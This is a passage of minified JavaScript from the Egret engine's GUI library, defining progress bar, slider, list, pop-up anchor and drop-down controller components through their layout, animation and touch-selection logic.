this._slideDuration},set:function(f){this._slideDuration!=f&&(this._slideDuration=f,this.animator&&this.animator.isPlaying&&(this.animator.stop(),this._setValue(this.slideToValue)))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"direction",{get:function(){return this._direction},set:function(f){this._direction!=f&&(this._direction=f,this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"value",{get:function(){return this._getValue()},set:function(f){this._getValue()!=f&&(this._setValue(f),0<this._slideDuration&&this.stage?(this.validateProperties(),this.animator||(this.animator=new d.Animation(this.animationUpdateHandler,this)),this.animator.isPlaying&&(this.animationValue=this.slideToValue,this.invalidateDisplayList(),this.animator.stop()),this.slideToValue=this.nearestValidValue(f,this.snapInterval),this.slideToValue!=this.animationValue&&(f=this._slideDuration*(Math.abs(this.animationValue-this.slideToValue)/(this.maximum-this.minimum)),this.animator.duration=Infinity===f?0:f,this.animator.motionPaths=[{prop:"value",from:this.animationValue,to:this.slideToValue}],this.animator.play())):this.animationValue=this._getValue())},enumerable:!0,configurable:!0});e.prototype.animationUpdateHandler=function(f){f=this.nearestValidValue(f.currentValue.value,this.snapInterval);this.animationValue=Math.min(this.maximum,Math.max(this.minimum,f));this.invalidateDisplayList()};e.prototype.setValue=function(f){c.prototype.setValue.call(this,f);this.invalidateDisplayList()};e.prototype.updateDisplayList=function(g,f){c.prototype.updateDisplayList.call(this,g,f);this.updateSkinDisplayList()};e.prototype.partAdded=function(g,f){f==this.track&&this.track instanceof d.UIComponent&&(this.track.addEventListener(d.ResizeEvent.RESIZE,this.onTrackResizeOrMove,this),this.track.addEventListener(d.MoveEvent.MOVE,this.onTrackResizeOrMove,this))};e.prototype.partRemoved=function(g,f){f==this.track&&this.track instanceof d.UIComponent&&(this.track.removeEventListener(d.ResizeEvent.RESIZE,this.onTrackResizeOrMove,this),this.track.removeEventListener(d.MoveEvent.MOVE,this.onTrackResizeOrMove,this))};e.prototype.onTrackResizeOrMove=function(f){this.trackResizedOrMoved=!0;this.invalidateProperties()};e.prototype.commitProperties=function(){c.prototype.commitProperties.call(this);this.trackResizedOrMoved&&(this.trackResizedOrMoved=!1,this.updateSkinDisplayList())};e.prototype.updateSkinDisplayList=function(){this.trackResizedOrMoved=!1;var r=this.value;this.animator&&this.animator.isPlaying?r=this.animationValue:(r=this.value,isNaN(r)&&(r=0));var m=isNaN(this.maximum)?0:this.maximum;if(this.thumb&&this.track){var i=isNaN(this.track.width)?0:this.track.width,i=i*this.track.scaleX,q=isNaN(this.track.height)?0:this.track.height,q=q*this.track.scaleY,o=Math.round(r/m*i);if(isNaN(o)||0>o||Infinity===o){o=0}var p=Math.round(r/m*q);if(isNaN(p)||0>p||Infinity===p){p=0}var n=this.track.localToGlobal(0,0),j=this.globalToLocal(n.x,n.y,a.Point.identity),n=j.x,j=j.y;switch(this._direction){case d.ProgressBarDirection.LEFT_TO_RIGHT:this.thumb.width=o;this.thumb.height=q;this.thumb.x=n;break;case d.ProgressBarDirection.RIGHT_TO_LEFT:this.thumb.width=o;this.thumb.height=q;this.thumb.x=n+i-o;break;case d.ProgressBarDirection.TOP_TO_BOTTOM:this.thumb.width=i;this.thumb.height=p;this.thumb.y=j;break;case d.ProgressBarDirection.BOTTOM_TO_TOP:this.thumb.width=i,this.thumb.height=p,this.thumb.y=j+q-p}}this.labelDisplay&&(this.labelDisplay.text=this.valueToLabel(r,m))};return e}(d.Range);d.ProgressBar=b;b.prototype.__class__="egret.gui.ProgressBar"})(a.gui||(a.gui={}))})(egret||(egret={}));(function(a){(function(d){var b=function(){function c(){}c.LEFT_TO_RIGHT="leftToRight";c.RIGHT_TO_LEFT="rightToLeft";c.TOP_TO_BOTTOM="topToBottom";c.BOTTOM_TO_TOP="bottomToTop";return c}();d.ProgressBarDirection=b;b.prototype.__class__="egret.gui.ProgressBarDirection"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.hostComponentKey="egret.gui.HSlider"}__extends(e,c);e.prototype.pointToValue=function(h,g){if(!this.thumb||!this.track){return 0}var f=this.maximum-this.minimum,i=this.track.layoutBoundsWidth-this.thumb.layoutBoundsWidth;return this.minimum+(0!=i?h/i*f:0)};e.prototype.updateSkinDisplayList=function(){if(this.thumb&&this.track){var h=this.track.layoutBoundsWidth-this.thumb.layoutBoundsWidth,g=this.maximum-this.minimum,h=0<g?(this.pendingValue-this.minimum)/g*h:0,f=this.track.localToGlobal(h,0),g=f.x,f=f.y,i=this.thumb.parent.globalToLocal(g,f,a.Point.identity).x;this.thumb.setLayoutBoundsPosition(Math.round(i),this.thumb.layoutBoundsY);this.showTrackHighlight&&this.trackHighlight&&this.trackHighlight.parent&&(g=this.trackHighlight.parent.globalToLocal(g,f,a.Point.identity).x-h,this.trackHighlight.x=Math.round(g),this.trackHighlight.width=Math.round(h))}};return e}(d.SliderBase);d.HSlider=b;b.prototype.__class__="egret.gui.HSlider"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.hostComponentKey="egret.gui.VSlider"}__extends(e,c);e.prototype.pointToValue=function(h,g){if(!this.thumb||!this.track){return 0}var f=this.maximum-this.minimum,i=this.track.layoutBoundsHeight-this.thumb.layoutBoundsHeight;return this.minimum+(0!=i?(i-g)/i*f:0)};e.prototype.updateSkinDisplayList=function(){if(this.thumb&&this.track){var j=this.thumb.layoutBoundsHeight,h=this.track.layoutBoundsHeight-j,g=this.maximum-this.minimum,k=this.track.localToGlobal(0,0<g?h-(this.pendingValue-this.minimum)/g*h:0),g=k.x,k=k.y,i=this.thumb.parent.globalToLocal(g,k,a.Point.identity).y;this.thumb.setLayoutBoundsPosition(this.thumb.layoutBoundsX,Math.round(i));this.showTrackHighlight&&this.trackHighlight&&this.trackHighlight._parent&&(g=this.trackHighlight._parent.globalToLocal(g,k,a.Point.identity).y,this.trackHighlight.y=Math.round(g+j),this.trackHighlight.height=Math.round(h-g))}};return e}(d.SliderBase);d.VSlider=b;b.prototype.__class__="egret.gui.VSlider"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._allowMultipleSelection=!1;this._selectedIndices=[];this._captureItemRenderer=!0;this.hostComponentKey="egret.gui.List";this.useVirtualLayout=!0}__extends(e,c);e.prototype.createChildren=function(){this.itemRenderer||(this.itemRenderer=d.DataGroup.defaultRendererFactory);c.prototype.createChildren.call(this)};Object.defineProperty(e.prototype,"useVirtualLayout",{get:function(){return this._getUseVirtualLayout()},set:function(f){this._setUseVirtualLayout(f)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"allowMultipleSelection",{get:function(){return this._allowMultipleSelection},set:function(f){this._allowMultipleSelection=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"selectedIndices",{get:function(){return this._proposedSelectedIndices?this._proposedSelectedIndices:this._selectedIndices},set:function(f){this._setSelectedIndices(f,!1)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"selectedIndex",{get:function(){return this._proposedSelectedIndices?0<this._proposedSelectedIndices.length?this._proposedSelectedIndices[0]:-1:this._getSelectedIndex()},set:function(f){this._setSelectedIndex(f)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"selectedItems",{get:function(){var h=[],g=this.selectedIndices;if(g){for(var f=g.length,i=0;i<f;i++){h[i]=this.dataProvider.getItemAt(g[i])}}return h},set:function(i){var g=[];if(i){for(var f=i.length,j=0;j<f;j++){var h=this.dataProvider.getItemIndex(i[j]);-1!=h&&g.splice(0,0,h);if(-1==h){g=[];break}}}this._setSelectedIndices(g,!1)},enumerable:!0,configurable:!0});e.prototype._setSelectedIndices=function(g,f){"undefined"===typeof f&&(f=!1);f&&(this._dispatchChangeAfterSelection=this._dispatchChangeAfterSelection||f);this._proposedSelectedIndices=g?g:[];this.invalidateProperties()};e.prototype.commitProperties=function(){c.prototype.commitProperties.call(this);this._proposedSelectedIndices&&this.commitSelection()};e.prototype.commitSelection=function(h){"undefined"===typeof h&&(h=!0);var f=this._selectedIndex;if(this._proposedSelectedIndices){this._proposedSelectedIndices=this._proposedSelectedIndices.filter(this.isValidIndex);if(!this.allowMultipleSelection&&0<this._proposedSelectedIndices.length){var g=[];g.push(this._proposedSelectedIndices[0]);this._proposedSelectedIndices=g}this._proposedSelectedIndex=0<this._proposedSelectedIndices.length?this._proposedSelectedIndices[0]:-1}g=c.prototype.commitSelection.call(this,!1);if(!g){return this._proposedSelectedIndices=null,!1}this.selectedIndex>d.ListBase.NO_SELECTION&&(this._proposedSelectedIndices?-1==this._proposedSelectedIndices.indexOf(this.selectedIndex)&&this._proposedSelectedIndices.push(this.selectedIndex):this._proposedSelectedIndices=[this.selectedIndex]);this._proposedSelectedIndices&&(-1!=this._proposedSelectedIndices.indexOf(f)&&this.itemSelected(f,!0),this.commitMultipleSelection());h&&g&&(this._dispatchChangeAfterSelection&&(d.IndexChangeEvent.dispatchIndexChangeEvent(this,d.IndexChangeEvent.CHANGE,f,this._selectedIndex),this._dispatchChangeAfterSelection=!1),d.UIEvent.dispatchUIEvent(this,d.UIEvent.VALUE_COMMIT));return g};e.prototype.isValidIndex=function(h,g,f){return this.dataProvider&&0<=h&&h<this.dataProvider.length};e.prototype.commitMultipleSelection=function(){var h=[],g=[],f,i;if(0<this._selectedIndices.length&&0<this._proposedSelectedIndices.length){i=this._proposedSelectedIndices.length;for(f=0;f<i;f++){-1==this._selectedIndices.indexOf(this._proposedSelectedIndices[f])&&g.push(this._proposedSelectedIndices[f])}i=this._selectedIndices.length;for(f=0;f<i;f++){-1==this._proposedSelectedIndices.indexOf(this._selectedIndices[f])&&h.push(this._selectedIndices[f])}}else{0<this._selectedIndices.length?h=this._selectedIndices:0<this._proposedSelectedIndices.length&&(g=this._proposedSelectedIndices)}this._selectedIndices=this._proposedSelectedIndices;if(0<h.length){for(i=h.length,f=0;f<i;f++){this.itemSelected(h[f],!1)}}if(0<g.length){for(i=g.length,f=0;f<i;f++){this.itemSelected(g[f],!0)}}this._proposedSelectedIndices=null};e.prototype._isItemIndexSelected=function(f){return this._allowMultipleSelection?-1!=this._selectedIndices.indexOf(f):c.prototype._isItemIndexSelected.call(this,f)};e.prototype.dataGroup_rendererAddHandler=function(f){c.prototype.dataGroup_rendererAddHandler.call(this,f);f=f.renderer;null!=f&&(f.addEventListener(a.TouchEvent.TOUCH_BEGIN,this.item_mouseDownHandler,this),f.addEventListener(a.TouchEvent.TOUCH_END,this.item_mouseUpHandler,this))};e.prototype.dataGroup_rendererRemoveHandler=function(f){c.prototype.dataGroup_rendererRemoveHandler.call(this,f);f=f.renderer;null!=f&&(f.removeEventListener(a.TouchEvent.TOUCH_BEGIN,this.item_mouseDownHandler,this),f.removeEventListener(a.TouchEvent.TOUCH_END,this.item_mouseUpHandler,this))};e.prototype.item_mouseDownHandler=function(h){if(!h.isDefaultPrevented()){var g=h.currentTarget,f;f=g?g.itemIndex:this.dataGroup.getElementIndex(h.currentTarget);this._allowMultipleSelection?this._setSelectedIndices(this.calculateSelectedIndices(f,h.shiftKey,h.ctrlKey),!0):this._setSelectedIndex(f,!0);this._captureItemRenderer&&(this.mouseDownItemRenderer=g,d.UIGlobals.stage.addEventListener(a.TouchEvent.TOUCH_END,this.stage_mouseUpHandler,this),d.UIGlobals.stage.addEventListener(a.Event.LEAVE_STAGE,this.stage_mouseUpHandler,this))}};e.prototype.calculateSelectedIndices=function(h,g,f){var i=[];if(g){if(g=0<this._selectedIndices.length?this._selectedIndices[this._selectedIndices.length-1]:0,g<h){for(;g<=h;g++){i.splice(0,0,g)}}else{for(;g>=h;g--){i.splice(0,0,g)}}}else{if(f){if(0<this._selectedIndices.length){if(1==this._selectedIndices.length&&this._selectedIndices[0]==h){if(!this.requireSelection){return i}i.splice(0,0,this._selectedIndices[0])}else{f=!1;for(g=0;g<this._selectedIndices.length;g++){this._selectedIndices[g]==h?f=!0:this._selectedIndices[g]!=h&&i.splice(0,0,this._selectedIndices[g])}f||i.splice(0,0,h)}}else{i.splice(0,0,h)}}else{i.splice(0,0,h)}}return i};e.prototype.item_mouseUpHandler=function(g){var f=g.currentTarget;f==this.mouseDownItemRenderer&&this._dispatchListEvent(g,d.ListEvent.ITEM_CLICK,f)};e.prototype.stage_mouseUpHandler=function(f){d.UIGlobals.stage.removeEventListener(a.TouchEvent.TOUCH_END,this.stage_mouseUpHandler,this);d.UIGlobals.stage.removeEventListener(a.Event.LEAVE_STAGE,this.stage_mouseUpHandler,this);this.mouseDownItemRenderer=null};return e}(d.ListBase);d.List=b;b.prototype.__class__="egret.gui.List"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._displayPopUp=this._popUpWidthMatchesAnchorWidth=this._popUpHeightMatchesAnchorHeight=this.addedToStage=this.popUpIsDisplayed=!1;this._popUpPosition=d.PopUpPosition.TOP_LEFT;this.inAnimation=!1;this.animator=null;this._openDuration=250;this._closeDuration=150;this.valueRange=1;this.addEventListener(a.Event.ADDED_TO_STAGE,this.addedToStageHandler,this);this.addEventListener(a.Event.REMOVED_FROM_STAGE,this.removedFromStageHandler,this)}__extends(e,c);Object.defineProperty(e.prototype,"popUpHeightMatchesAnchorHeight",{get:function(){return this._popUpHeightMatchesAnchorHeight},set:function(f){this._popUpHeightMatchesAnchorHeight!=f&&(this._popUpHeightMatchesAnchorHeight=f,this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"popUpWidthMatchesAnchorWidth",{get:function(){return this._popUpWidthMatchesAnchorWidth},set:function(f){this._popUpWidthMatchesAnchorWidth!=f&&(this._popUpWidthMatchesAnchorWidth=f,this.invalidateDisplayList())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"displayPopUp",{get:function(){return this._displayPopUp},set:function(f){this._displayPopUp!=f&&(this._displayPopUp=f,this.addOrRemovePopUp())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"popUp",{get:function(){return this._popUp},set:function(f){this._popUp!=f&&(this._popUp=f,this.dispatchEventWith("popUpChanged"))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"popUpPosition",{get:function(){return this._popUpPosition},set:function(f){this._popUpPosition!=f&&(this._popUpPosition=f,this.invalidateDisplayList())},enumerable:!0,configurable:!0});e.prototype.updateDisplayList=function(f,g){c.prototype.updateDisplayList.call(this,f,g);this.applyPopUpTransform(f,g)};e.prototype.updatePopUpTransform=function(){this.applyPopUpTransform(this.width,this.height)};e.prototype.calculatePopUpPosition=function(){var f=a.Point.identity;switch(this._popUpPosition){case d.PopUpPosition.BELOW:f.x=0;f.y=this.height;break;case d.PopUpPosition.ABOVE:f.x=0;f.y=-this.popUp.layoutBoundsHeight;break;case d.PopUpPosition.LEFT:f.x=-this.popUp.layoutBoundsWidth;f.y=0;break;case d.PopUpPosition.RIGHT:f.x=this.width;f.y=0;break;case d.PopUpPosition.CENTER:f.x=0.5*(this.width-this.popUp.layoutBoundsWidth),f.y=0.5*(this.height-this.popUp.layoutBoundsHeight)}f=this.localToGlobal(f.x,f.y,f);return this.popUp.parent.globalToLocal(f.x,f.y,f)};Object.defineProperty(e.prototype,"openDuration",{get:function(){return this._openDuration},set:function(f){this._openDuration=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"closeDuration",{get:function(){return this._closeDuration},set:function(f){this._closeDuration=f},enumerable:!0,configurable:!0});e.prototype.animationStartHandler=function(f){this.inAnimation=!0;this.popUp&&"enabled" in this.popUp&&(this.popUp.enabled=!1)};e.prototype.animationUpdateHandler=function(g){var f=this.popUp._scrollRect,h=Math.round(g.currentValue.x);g=Math.round(g.currentValue.y);f?(f.x=h,f.y=g,f.width=this.popUp.width,f.height=this.popUp.height):this.popUp._scrollRect=new a.Rectangle(h,g,this.popUp.width,this.popUp.height)};e.prototype.animationEndHandler=function(f){this.inAnimation=!1;this.popUp&&"enabled" in this.popUp&&(this.popUp.enabled=!0);this.popUp.scrollRect=null;this.popUpIsDisplayed||(d.PopUpManager.removePopUp(this.popUp),this.popUp.ownerChanged(null))};e.prototype.addOrRemovePopUp=function(){this.addedToStage&&this.popUp&&(null==this.popUp.parent&&this.displayPopUp?(d.PopUpManager.addPopUp(this.popUp,!1,!1),this.popUp.ownerChanged(this),this.popUpIsDisplayed=!0,this.inAnimation&&this.animator.end(),this.initialized?(this.applyPopUpTransform(this.width,this.height),0<this._openDuration&&this.startAnimation()):a.callLater(function(){0<this.openDuration&&this.startAnimation()},this)):null==this.popUp.parent||this.displayPopUp||this.removeAndResetPopUp())};e.prototype.removeAndResetPopUp=function(){this.inAnimation&&this.animator.end();this.popUpIsDisplayed=!1;0<this._closeDuration?this.startAnimation():(d.PopUpManager.removePopUp(this.popUp),this.popUp.ownerChanged(null))};e.prototype.applyPopUpTransform=function(g,f){if(this.popUpIsDisplayed){this.popUpWidthMatchesAnchorWidth&&(this.popUp.width=g);this.popUpHeightMatchesAnchorHeight&&(this.popUp.height=f);"validateNow" in this.popUp&&this.popUp.validateNow();var h=this.calculatePopUpPosition();this.popUp.x=h.x;this.popUp.y=h.y}};e.prototype.startAnimation=function(){this.animator||(this.animator=new d.Animation(this.animationUpdateHandler,this),this.animator.endFunction=this.animationEndHandler,this.animator.startFunction=this.animationStartHandler);this.animator.motionPaths=this.createMotionPath();this.animator.duration=this.popUpIsDisplayed?this._openDuration:this._closeDuration;this.animator.play()};e.prototype.createMotionPath=function(){var h={prop:"x"},g={prop:"y"},j=[h,g];switch(this._popUpPosition){case d.PopUpPosition.TOP_LEFT:case d.PopUpPosition.CENTER:case d.PopUpPosition.BELOW:h.from=h.to=0;g.from=this.popUp.height;g.to=0;this.valueRange=this.popUp.height;break;case d.PopUpPosition.ABOVE:h.from=h.to=0;g.from=-this.popUp.height;g.to=0;this.valueRange=this.popUp.height;break;case d.PopUpPosition.LEFT:g.from=g.to=0;h.from=-this.popUp.width;h.to=0;this.valueRange=this.popUp.width;break;case d.PopUpPosition.RIGHT:g.from=g.to=0;h.from=this.popUp.width;h.to=0;this.valueRange=this.popUp.width;break;default:this.valueRange=1}this.valueRange=Math.abs(this.valueRange);if(!this.popUpIsDisplayed){var i=h.from;h.from=h.to;h.to=i;i=g.from;g.from=g.to;g.to=i}return j};e.prototype.addedToStageHandler=function(f){this.addedToStage=!0;a.callLater(this.checkPopUpState,this)};e.prototype.checkPopUpState=function(){this.addedToStage?this.addOrRemovePopUp():null!=this.popUp&&null!=this.popUp.parent&&this.removeAndResetPopUp()};e.prototype.removedFromStageHandler=function(f){this.addedToStage=!1;a.callLater(this.checkPopUpState,this)};return e}(d.UIComponent);d.PopUpAnchor=b;b.prototype.__class__="egret.gui.PopUpAnchor"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._isOpen=!1;this._closeOnResize=!0;this._rollOverOpenDelay=NaN}__extends(e,c);Object.defineProperty(e.prototype,"openButton",{get:function(){return this._openButton},set:function(f){this._openButton!==f&&(this.removeOpenTriggers(),this._openButton=f,this.addOpenTriggers())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"dropDown",{get:function(){return this._dropDown},set:function(f){this._dropDown!==f&&(this._dropDown=f)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"isOpen",{get:function(){return this._isOpen},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"closeOnResize",{get:function(){return this._closeOnResize},set:function(f){this._closeOnResize!=f&&(this.isOpen&&this.removeCloseOnResizeTrigger(),this._closeOnResize=f,this.addCloseOnResizeTrigger())},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"rollOverOpenDelay",{get:function(){return this._rollOverOpenDelay},set:function(f){this._rollOverOpenDelay!=f&&(this.removeOpenTriggers(),this._rollOverOpenDelay=f,this.addOpenTriggers())},enumerable:!0,configurable:!0});e.prototype.addOpenTriggers=function(){this.openButton&&(isNaN(this.rollOverOpenDelay)?this.openButton.addEventListener(d.UIEvent.BUTTON_DOWN,this._openButton_buttonDownHandler,this):this.openButton.addEventListener(a.TouchEvent.TOUCH_ROLL_OVER,this._openButton_rollOverHandler,this))};e.prototype.removeOpenTriggers=function(){this.openButton&&(isNaN(this.rollOverOpenDelay)?this.openButton.removeEventListener(d.UIEvent.BUTTON_DOWN,this._openButton_buttonDownHandler,this):this.openButton.removeEventListener(a.TouchEvent.TOUCH_ROLL_OVER,this._openButton_rollOverHandler,this))};e.prototype.addCloseTriggers=function(){d.UIGlobals.stage&&(isNaN(this.rollOverOpenDelay)?(d.UIGlobals.stage.addEventListener(a.TouchEvent.TOUCH_BEGIN,this.stage_mouseDownHandler,this),d.UIGlobals.stage.addEventListener(a.TouchEvent.TOUCH_END,this.stage_mouseUpHandler_noRollOverOpenDelay,this)):d.UIGlobals.stage.addEventListener(a.TouchEvent.TOUCH_MOVE,this.stage_mouseMoveHandler,this),this.addCloseOnResizeTrigger())};e.prototype.removeCloseTriggers=function(){d.UIGlobals.stage&&(isNaN(this.rollOverOpenDelay)?(d.UIGlobals.stage.removeEventListener(a.TouchEvent.TOUCH_BEGIN,this.stage_mouseDownHandler,this),d.UIGlobals.stage.removeEventListener(a.TouchEvent.TOUCH_END,this.stage_mouseUpHandler_noRollOverOpenDelay,this)):(d.UIGlobals.stage.removeEventListener(a.TouchEvent.TOUCH_MOVE,this.stage_mouseMoveHandler,this),d.UIGlobals.stage.removeEventListener(a.TouchEvent.TOUCH_END,this.stage_mouseUpHandler,this),d.UIGlobals.stage.removeEventListener(a.Event.LEAVE_STAGE,this.stage_mouseUpHandler,this)),this.removeCloseOnResizeTrigger())};e.prototype.addCloseOnResizeTrigger=function(){this.closeOnResize&&d.UIGlobals.stage.addEventListener(a.Event.RESIZE,this.stage_resizeHandler,this)};e.prototype.removeCloseOnResizeTrigger=function(){this.closeOnResize&&d.UIGlobals.stage.removeEventListener(a.Event.RESIZE,this.stage_resizeHandler,this)};e.prototype.isTargetOverDropDownOrOpenButton=function(g){if(g){if(this.openButton&&this.openButton.contains(g)){return !0}if(null!=this.hitAreaAdditions){for(var f=0;f<this.hitAreaAdditions.length;f++){if(this.hitAreaAdditions[f]==g||this.hitAreaAdditions[f] instanceof a.DisplayObjectContainer&&this.hitAreaAdditions[f].contains(g)){return !0}}}if(this.dropDown instanceof a.DisplayObjectContainer){if(this.dropDown.contains(g)){return !0}}else{if(g==this.dropDown){return !0}}}return !1};e.prototype.openDropDown=function(){this.openDropDownHelper()};e.prototype.openDropDownHelper=function(){this.isOpen||(this.addCloseTriggers(),this._isOpen=!0,this.openButton&&this.openButton._setKeepDown(!0),d.UIEvent.dispatchUIEvent(this,d.UIEvent.OPEN))};e.prototype.closeDropDown=function(g){if(this.isOpen){this._isOpen=!1;this.openButton&&this.openButton._setKeepDown(!1);var f=new d.UIEvent(d.UIEvent.CLOSE,!1,!0);g||f.preventDefault();this.dispatchEvent(f);this.removeCloseTriggers()}};e.prototype._openButton_buttonDownHandler=function(f){this.isOpen?this.closeDropDown(!0):(this.mouseIsDown=!0,this.openDropDownHelper())};e.prototype._openButton_rollOverHandler=function(f){0==this.rollOverOpenDelay?this.openDropDownHelper():(this.openButton.addEventListener(a.TouchEvent.TOUCH_ROLL_OUT,this.openButton_rollOutHandler,this),this.rollOverOpenDelayTimer=new a.Timer(this.rollOverOpenDelay,1),this.rollOverOpenDelayTimer.addEventListener(a.TimerEvent.TIMER_COMPLETE,this.rollOverDelay_timerCompleteHandler,this),this.rollOverOpenDelayTimer.start())};e.prototype.openButton_rollOutHandler=function(f){this.rollOverOpenDelayTimer&&this.rollOverOpenDelayTimer.running&&(this.rollOverOpenDelayTimer.stop(),this.rollOverOpenDelayTimer=null);this.openButton.removeEventListener(a.TouchEvent.TOUCH_ROLL_OUT,this.openButton_rollOutHandler,this)};e.prototype.rollOverDelay_timerCompleteHandler=function(f){this.openButton.removeEventListener(a.TouchEvent.TOUCH_ROLL_OUT,this.openButton_rollOutHandler,this);this.rollOverOpenDelayTimer=null;this.openDropDownHelper()};e.prototype.stage_mouseDownHandler=function(g){if(this.mouseIsDown){this.mouseIsDown=!1}else{if(!this.dropDown||this.dropDown&&(g.target==this.dropDown||this.dropDown instanceof a.DisplayObjectContainer&&!this.dropDown.contains(g.target))){var f=g.target;if(!(this.openButton&&f&&this.openButton.contains(f))){if(null!=this.hitAreaAdditions){for(f=0;f<this.hitAreaAdditions.length;f++){if(this.hitAreaAdditions[f]==g.target||this.hitAreaAdditions[f] instanceof a.DisplayObjectContainer&&this.hitAreaAdditions[f].contains(g.target)){return}}}this.closeDropDown(!0)}}}};e.prototype.stage_mouseMoveHandler=function(f){this.isTargetOverDropDownOrOpenButton(f.target)||(f instanceof a.TouchEvent&&f.touchDown?(d.UIGlobals.stage.addEventListener(a.TouchEvent.TOUCH_END,this.stage_mouseUpHandler,this),d.UIGlobals.stage.addEventListener(a.Event.LEAVE_STAGE,this.stage_mouseUpHandler,this)):this.closeDropDown(!0))};e.prototype.stage_mouseUpHandler_noRollOverOpenDelay=function(f){this.mouseIsDown&&(this.mouseIsDown=!1)};e.prototype.stage_mouseUpHandler=function(f){this.isTargetOverDropDownOrOpenButton(f.target)?(d.UIGlobals.stage.removeEventListener(a.TouchEvent.TOUCH_END,this.stage_mouseUpHandler,this),d.UIGlobals.stage.removeEventListener(a.Event.LEAVE_STAGE,this.stage_mouseUpHandler,this)):this.closeDropDown(!0)};e.prototype.stage_resizeHandler=function(f){this.closeDropDown(!0)};e.prototype.stage_mouseWheelHandler=function(f){!this.dropDown||this.dropDown.contains(f.target)&&f.isDefaultPrevented()||this.closeDropDown(!1)};return e}(a.EventDispatcher);d.DropDownController=b;b.prototype.__class__="egret.gui.DropDownController"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._labelChanged=!1;this._userProposedSelectedIndex=d.ListBase.NO_SELECTION;this._captureItemRenderer=!1;this.dropDownController=new d.DropDownController}__extends(e,c);e.prototype._setDataProvider=function(f){this.dataProvider!==f&&(c.prototype._setDataProvider.call(this,f),this._labelChanged=!0,this.invalidateProperties())};e.prototype._setLabelField=function(f){this.labelField!=f&&(c.prototype._setLabelField.call(this,f),this._labelChanged=!0,this.invalidateProperties())};e.prototype._setLabelFunction=function(f){this.labelFunction!=f&&(c.prototype._setLabelFunction.call(this,f),this._labelChanged=!0,this.invalidateProperties())};Object.defineProperty(e.prototype,"dropDownController",{get:function(){return this._dropDownController},set:function(f){this._dropDownController!=f&&(this._dropDownController=f,this._dropDownController.addEventListener(d.UIEvent.OPEN,this._dropDownController_openHandler,this),this._dropDownController.addEventListener(d.UIEvent.CLOSE,this.dropDownController_closeHandler,this),this.openButton&&(this._dropDownController.openButton=this.openButton),this.dropDown&&(this._dropDownController.dropDown=this.dropDown))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"isDropDownOpen",{get:function(){return this.dropDownController?this.dropDownController.isOpen:!1},enumerable:!0,configurable:!0});e.prototype.commitProperties=function(){c.prototype.commitProperties.call(this);this._labelChanged&&(this._labelChanged=!1,this.updateLabelDisplay())};e.prototype.partAdded=function(f,g){c.prototype.partAdded.call(this,f,g);g==this.openButton?this.dropDownController&&(this.dropDownController.openButton=this.openButton):g==this.dropDown&&this.dropDownController&&(this.dropDownController.dropDown=this.dropDown)};e.prototype.partRemoved=function(f,g){this.dropDownController&&(g==this.openButton&&(this.dropDownController.openButton=null),g==this.dropDown&&(this.dropDownController.dropDown=null));c.prototype.partRemoved.call(this,f,g)};e.prototype.getCurrentSkinState=function(){return this.enabled?this.isDropDownOpen?"open":"normal":"disabled"};e.prototype.commitSelection=function(f){"undefined"===typeof f&&(f=!0);f=c.prototype.commitSelection.call(this,f);this.updateLabelDisplay();return f};e.prototype._isItemIndexSelected=function(f){return this._userProposedSelectedIndex==f};e.prototype.openDropDown=function(){this.dropDownController.openDropDown()};e.prototype.closeDropDown=function(f){this.dropDownController.closeDropDown(f)};e.prototype.updateLabelDisplay=function(f){};e.prototype._changeHighlightedSelection=function(g,f){this.itemSelected(this._userProposedSelectedIndex,!1);this._userProposedSelectedIndex=g;this.itemSelected(this._userProposedSelectedIndex,!0)};e.prototype.dataProvider_collectionChangeHandler=function(f){c.prototype.dataProvider_collectionChangeHandler.call(this,f);this._labelChanged=!0;this.invalidateProperties()};e.prototype.item_mouseDownHandler=function(f){c.prototype.item_mouseDownHandler.call(this,f);this._dispatchListEvent(f,d.ListEvent.ITEM_CLICK,f.currentTarget);this._userProposedSelectedIndex=this.selectedIndex;this.closeDropDown(!0)};e.prototype._dropDownController_openHandler=function(f){this.addEventListener(d.UIEvent.UPDATE_COMPLETE,this._open_updateCompleteHandler,this);t